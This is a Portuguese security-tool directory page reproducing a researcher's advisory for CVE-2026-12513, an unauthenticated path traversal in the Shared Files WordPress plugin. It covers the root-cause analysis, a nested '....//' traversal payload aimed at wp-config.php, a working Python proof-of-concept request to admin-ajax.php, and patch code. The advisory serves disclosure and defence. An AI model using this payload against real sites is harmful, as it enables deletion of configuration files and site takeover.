Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-12513 — Advisory técnico e prova de conceito para CVE-2026-12513, uma exclusão arbitrária de arquivos não autenticada via path traversal no plugin Shared Files para WordPress, incluindo análise da causa raiz e orientações de remediação. | Kitploit
Ferramentas/GitHubGitHub/minhhk68/cve-2026-12513
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubminhhk68/cve-2026-12513

CVE-2026-12513

Advisory técnico e prova de conceito para CVE-2026-12513, uma exclusão arbitrária de arquivos não autenticada via path traversal no plugin Shared Files para WordPress, incluindo análise da causa raiz e orientações de remediação.

Ver Repositório
há 8h 31mAinda não revisado
Site

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-12513: Shared Files < 1.7.68 — Exclusão Arbitrária de Arquivos Não Autenticada via Path Traversal

CVE Identifier CVSS v3.1 Score Discovered By WPScan Verified Advisory License: MIT


📖 Visão Geral do Advisório

CVE-2026-12513 é uma vulnerabilidade de Exclusão Arbitrária de Arquivos não autenticada via Path Traversal que afeta os plugins WordPress Shared Files e Shared Files Pro antes da versão 1.7.68, descoberta e analisada pelo pesquisador de segurança cibernética Huynh Kien Minh (MinhHK). A falha ocorre nas rotinas de processamento de envio de arquivos do frontend do plugin, onde os caminhos de arquivo fornecidos pelo usuário são filtrados usando uma substituição de padrão de travessia de passagem única com falhas que pode ser contornada usando sequências aninhadas (como ). Consequentemente, um atacante remoto não autenticado pode enviar um caminho manipulado apontando para fora do diretório de uploads pretendido para atingir ativos críticos do servidor, incluindo . Quando um administrador posteriormente purga ou exclui permanentemente a entrada enviada, o aplicativo invoca primitivas de exclusão do sistema de arquivos () contra o caminho arbitrário armazenado. Isso resulta na destruição dos arquivos de configuração principais do WordPress, desencadeando uma grave Negação de Serviço e permitindo a tomada do site via configuração de instalação não configurada. O pesquisador líder Huynh Kien Minh avaliou esta vulnerabilidade sob a pontuação CVSS 3.1 6.8 Média (CWE-73 / CWE-22), recomendando atualizações imediatas dos plugins para a versão 1.7.68 ou posterior e validação robusta de caminho canônico.

....//
wp-config.php
unlink()

Links Rápidos: Explore o Portfólio de Segurança Cibernética oficial do pesquisador ou revise o Advisório Verificado WPScan.


📌 Resumo Executivo e Metadados Técnicos

ParâmetroEspecificação Técnica
Identificador da VulnerabilidadeCVE-2026-12513
Software AlvoShared Files / Shared Files Pro (Plugins WordPress)
Slugs dos Pluginsshared-files, shared-files-pro
Versões Vulneráveis< 1.7.68
Versão Corrigida>= 1.7.68
Classe da VulnerabilidadeControle Externo do Nome ou Caminho do Arquivo / Path Traversal (CWE-73 / CWE-22)
Pontuação CVSS v3.16.8 (Média) (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:H)
Descobridor / PesquisadorHuynh Kien Minh (MinhHK)
Autoridade de VerificaçãoWPScan / MITRE Corporation
Referência do Advisório WPScanRelatório WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869
Portfólio do Pesquisadorhttps://minhhk.web.app/

🔍 Análise Técnica Detalhada e Análise da Causa Raiz

A vulnerabilidade está enraizada em um mecanismo inadequado de sanitização de caminho implementado nos manipuladores de envio de arquivos do frontend em Shared Files (< 1.7.68).

1. Sanitização de Caminho de Passagem Única Inadequada

Ao aceitar envios de arquivos do frontend, o plugin tentava remover sequências de travessia de diretório (../) usando uma substituição de string de passagem única:

root@kitploit:~
// Filtro de sanitização de passagem única inseguro em Shared Files < 1.7.68
$file_path = str_replace( '../', '', $_POST['file_path'] );

Como str_replace() executa apenas uma vez da esquerda para a direita:

  • Payload de travessia aninhada: ....//....//....//wp-config.php
  • Quando ../ é removido uma vez de ....//, os caracteres externos colapsam de volta juntos para formar ../:
    • ....// -> ../
  • O caminho sanitizado resultante é avaliado como: ../../../../wp-config.php!

2. Caminho de Arquivo Armazenado e Cadeia de Execução de Exclusão

  1. Envio Não Autenticado: O atacante envia uma solicitação HTTP ao endpoint de upload do frontend fornecendo o caminho de travessia aninhada. O caminho manipulado é armazenado no banco de dados (por exemplo, em wp_posts ou tabela personalizada do plugin).
  2. Gatilho de Exclusão Permanente: Quando um administrador revisa os envios ou exclui o registro do arquivo via /wp-admin/admin.php?page=shared-files, o backend chama unlink() no caminho armazenado resolvido:
root@kitploit:~
// Lógica de exclusão vulnerável
$file_to_delete = WP_CONTENT_DIR . '/uploads/shared-files/' . $stored_file_path;
if ( file_exists( $file_to_delete ) ) {
    unlink( $file_to_delete ); // Aciona a exclusão do arquivo alvo (ex.: /var/www/html/wp-config.php)
}
  1. Impacto Catastrófico: Uma vez que wp-config.php é excluído:
    • As credenciais do banco de dados e as chaves de segurança são perdidas.
    • O site entra imediatamente em um estado não configurado, apresentando o assistente de configuração do WordPress (/wp-admin/install.php).
    • O atacante pode concluir o assistente de configuração com um novo banco de dados, alcançando Execução Remota de Código (RCE) completa e Tomada do Site.

💻 Código de Exploit Proof-of-Concept (PoC)

Aviso Ético: Este Proof-of-Concept é fornecido estritamente para pesquisa educacional, validação defensiva e auditoria de segurança sob protocolos de divulgação ética por Huynh Kien Minh.

Exploit PoC em Python (poc_cve_2026_12513.py)

root@kitploit:~
#!/usr/bin/env python3
"""
CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Path Traversal File Deletion PoC
Author: Huynh Kien Minh (MinhHK) - https://minhhk.web.app/
"""

import requests
import sys

TARGET_URL = "http://target-wordpress.local"
UPLOAD_ENDPOINT = f"{TARGET_URL}/wp-admin/admin-ajax.php"

def trigger_traversal_payload(target_url, target_file="../../../../wp-config.php"):
    print(f"[*] Auditing Target: {target_url}")
    
    # Nested traversal sequence bypassing single-pass str_replace('../', '', $input)
    nested_traversal = "....//....//....//....//" + target_file.lstrip("/")
    
    payload = {
        "action": "shared_files_frontend_upload",
        "file_name": "innocent_document.pdf",
        "file_path": nested_traversal
    }
    
    headers = {
        "User-Agent": "Mozilla/5.0 (Security Audit; CVE-2026-12513 Verification; Huynh Kien Minh)"
    }
    
    try:
        response = requests.post(UPLOAD_ENDPOINT, data=payload, headers=headers, timeout=10)
        print(f"[*] Submission Response Status: {response.status_code}")
        if response.status_code == 200:
            print("[+] Traversal path successfully injected into database storage.")
            print("[!] When the entry is deleted by admin, the target file will be unlinked.")
            return True
        else:
            print(f"[-] Request failed with HTTP status: {response.status_code}")
    except requests.RequestException as e:
        print(f"[-] Connection failed: {e}")
        
    return False

if __name__ == "__main__":
    url = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
    trigger_traversal_payload(url)

🛡️ Remediação e Análise do Patch

Para Administradores de Sites

  • Atualize os plugins Shared Files e Shared Files Pro imediatamente para a versão 1.7.68 ou superior.
  • Garanta que as permissões do sistema de arquivos em wp-config.php sejam somente leitura (chmod 400 ou 440) para o processo do servidor web.

Para Desenvolvedores (A Implementação Segura)

Imponha resolução estrita de caminho canônico usando realpath() e wp_normalize_path() para garantir que as operações permaneçam dentro do limite de uploads designado:

root@kitploit:~
// Padrão de Validação de Caminho Seguro (Versão 1.7.68+)
function shared_files_safe_delete( $relative_path ) {
    $base_dir = wp_normalize_path( WP_CONTENT_DIR . '/uploads/shared-files/' );
    $target   = wp_normalize_path( realpath( $base_dir . $relative_path ) );

    // Garante que o realpath resolvido comece estritamente com o diretório base designado
    if ( false === $target || 0 !== strpos( $target, $base_dir ) ) {
        wp_die( __( 'Invalid or unauthorized file path.', 'shared-files' ), 403 );
    }

    if ( file_exists( $target ) && is_file( $target ) ) {
        unlink( $target );
    }
}

🏆 Sobre o Pesquisador

Huynh Kien Minh (MinhHK) é um Pesquisador de Segurança da Informação especializado em pesquisa de vulnerabilidades em WordPress, auditorias de segurança de núcleo e plugins, e modelagem defensiva de exploits.

  • Portfólio de Segurança Cibernética: https://minhhk.web.app/
  • Referência do Advisório WPScan: Relatório WPScan 25c9fa21-c48b-4333-8abc-87230dc4c869
  • Perfil GitHub: https://github.com/MinhHK68

📊 Marcação de Esquema de Dados Estruturados JSON-LD

root@kitploit:~
{
  "@context": "https://schema.org",
  "@type": "TechArticle",
  "headline": "CVE-2026-12513: Shared Files < 1.7.68 Unauthenticated Arbitrary File Deletion via Path Traversal",
  "author": {
    "@type": "Person",
    "name": "Huynh Kien Minh",
    "url": "https://minhhk.web.app/"
  },
  "datePublished": "2026-08-30",
  "description": "Technical advisory by Huynh Kien Minh analyzing CVE-2026-12513 in Shared Files WordPress plugin.",
  "identifier": "CVE-2026-12513"
}
Baixar ferramenta